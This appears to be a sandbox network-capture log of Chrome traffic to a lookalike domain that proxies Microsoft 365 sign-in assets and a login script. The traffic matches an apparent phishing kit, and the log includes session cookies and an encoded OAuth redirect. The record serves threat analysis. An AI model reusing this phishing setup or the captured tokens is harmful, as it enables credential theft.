X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQE [TRUNCATED]
2024-05-07 18:31:53 UTC	761	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:31:53 GMT Content-Type: image/png Content-Length: 5139 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Wed, 12 Feb 2020 03:12:12 GMT ETag: 0x8D7AF695A8C44DC x-ms-request-id: 426e148e-701e-0001-2bac-a0ce9c000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T183153Z-17859dc676bkb6kwsetcp8s5vw000000060g00000000remy x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-05-07 18:31:53 UTC	5139	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 56 00 00 00 48 08 06 00 00 00 ad 04 dd dc 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 25 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 38 20 37 39 2e 31 36 34 30 33 36 2c 20 32 30 31 39 2f 30 38 2f 31 33 2d 30 31 3a 30 36 3a 35 37 20 20 Data Ascii: PNG IHDRVHtEXtSoftwareAdobe ImageReadyqe<%iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49816	5.230.47.86	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:53 UTC	1695	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQE [TRUNCATED]
2024-05-07 18:31:54 UTC	744	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:31:53 GMT Content-Type: image/x-icon Content-Length: 17174 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Sun, 18 Oct 2020 03:02:03 GMT ETag: 0x8D8731230C851A6 x-ms-request-id: 3fca8ab1-401e-0036-3654-9e3e83000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T183153Z-1675f555588rjdlba78m1uwh8n00000005u000000000zsda x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-05-07 18:31:54 UTC	15640	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH (00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-05-07 18:31:54 UTC	1534	IN	Data Raw: 01 80 00 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 Data Ascii: ( @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49819	5.230.47.86	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:53 UTC	1709	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQE [TRUNCATED]
2024-05-07 18:31:53 UTC	805	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:31:53 GMT Content-Type: image/svg+xml Content-Length: 621 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Tue, 10 Nov 2020 03:41:24 GMT ETag: 0x8D8852A7FA6B761 x-ms-request-id: 2dde5352-d01e-001b-5750-a070ab000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T183153Z-17859dc676bb5mt5dnt7htr70800000005tg00000001yqf1 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-05-07 18:31:53 UTC	621	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 7d 55 4d 6f 22 31 0c fd 2b a3 d9 ab 93 c9 f7 47 3b 20 cd 9e 38 6c af 1c b8 4d 0b 05 24 0a 55 19 41 57 ab fe f7 b5 93 a0 55 61 58 0d d8 60 27 ef 3d db 09 b4 c7 d3 ba fa 7c db ed 8f 93 7a 33 0c ef 0f 4d 73 3e 9f f9 59 f3 c3 c7 ba 51 42 88 06 57 d4 d5 79 bb 1c 36 93 da 84 ba da ac b6 eb cd 90 3f 9f b6 ab f3 cf c3 e7 a4 16 95 a8 4c c0 57 3d 6d 97 ab d7 e3 b4 3d 0e bf 77 ab 29 ef ff bc 6e 77 bb 87 fd 61 bf 7a fc e2 cf f9 db 0f 23 e8 79 fc 6a 9b bc ac 6d f2 a6 8f d5 cb 50 bd ec fa 23 ca e9 ef b1 36 d3 f6 bd 1f 36 97 75 cf 75 b5 9c d4 4f 46 80 56 dc fa 30 37 62 a6 d5 5c bb 99 0a 73 ad 66 ca cc 55 e0 de b9 4e 0a ee 42 84 e2 04 3e 12 64 04 2d 7a 0c a5 78 89 32 cb ad f1 4c 72 0b 52 72 29 dc c5 e5 ac e2 4a 46 cc 7a 19 3b 4c 68 af a1 b8 Data Ascii: }UMo"1+G; 8lM$ UAWUaX `'= \|z3Ms>YQBWy6?LW=m=w)nwaz#yjmP#66uuOFV07b\ sfUN B>d-zx2LrRr)JFz;Lh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49818	5.230.47.86	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:53 UTC	1709	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQE [TRUNCATED]
2024-05-07 18:31:53 UTC	806	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:31:53 GMT Content-Type: image/svg+xml Content-Length: 1435 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 17 Jan 2020 19:28:38 GMT ETag: 0x8D79B8373CB2849 x-ms-request-id: b1d39f05-201e-0048-19ac-a06e9e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T183153Z-1675f55558884gqmxcec80xbmw00000000f000000000zwtc x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-05-07 18:31:53 UTC	1435	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5 Data Ascii: WMo7+uVHJ {&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49820	5.230.47.86	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:53 UTC	1712	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQE [TRUNCATED]
2024-05-07 18:31:54 UTC	763	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:31:53 GMT Content-Type: image/jpeg Content-Length: 17453 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Fri, 27 Mar 2020 19:41:47 GMT ETag: 0x8D7D286E30A1202 x-ms-request-id: 76c4bf79-501e-0057-23ac-a057a3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T183153Z-1675f555588gx5t82dn4brkavg000000054g000000008pyt x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-05-07 18:31:54 UTC	15621	IN	Data Raw: ff d8 ff e1 09 50 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 32 20 37 39 2e 31 36 30 39 32 34 2c 20 32 30 31 37 2f 30 37 2f 31 33 2d 30 31 3a 30 36 3a 33 39 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e Data Ascii: Phttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syn
2024-05-07 18:31:54 UTC	1832	IN	Data Raw: 45 41 44 01 40 00 04 11 40 00 01 00 14 01 40 00 00 10 01 40 14 40 00 00 50 00 00 04 00 00 05 00 45 00 00 05 00 00 01 00 05 50 00 00 04 00 00 05 1f ff d3 db c0 6d cd 05 45 00 00 00 04 50 1c 8a 02 00 00 00 00 04 48 aa 0e 45 15 10 00 00 00 00 00 04 82 80 90 50 10 00 04 01 44 14 51 14 10 51 11 05 01 05 40 00 00 00 00 15 40 00 00 00 40 54 50 42 28 00 00 00 00 00 00 00 02 80 00 00 00 20 00 02 a2 8a 00 00 00 00 0a 02 00 00 00 02 28 00 8a 80 00 a0 02 0a 08 a8 28 08 a0 00 02 80 a8 22 80 88 a0 2a 28 00 02 00 28 20 a2 08 28 08 00 02 88 00 0a 82 80 8a 00 00 8a 00 00 08 00 00 02 00 00 00 0a 00 a8 a8 a0 82 a2 00 00 00 8a 00 a0 02 00 02 80 20 00 00 00 00 80 00 00 22 a0 a0 20 00 2a 2a 00 02 8a 80 8a 20 82 88 00 00 00 0a 00 a0 00 00 08 02 a8 8a 02 00 28 00 80 02 80 02 00 Data Ascii: EAD@@@@@PEPmEPHEPDQQ@@@TPB( ( ("(( ( " * (

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49829	5.230.47.86	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:32:06 UTC	2764	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_presetpasswordsplitter_2e62c59c862fb482c11d.js HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; 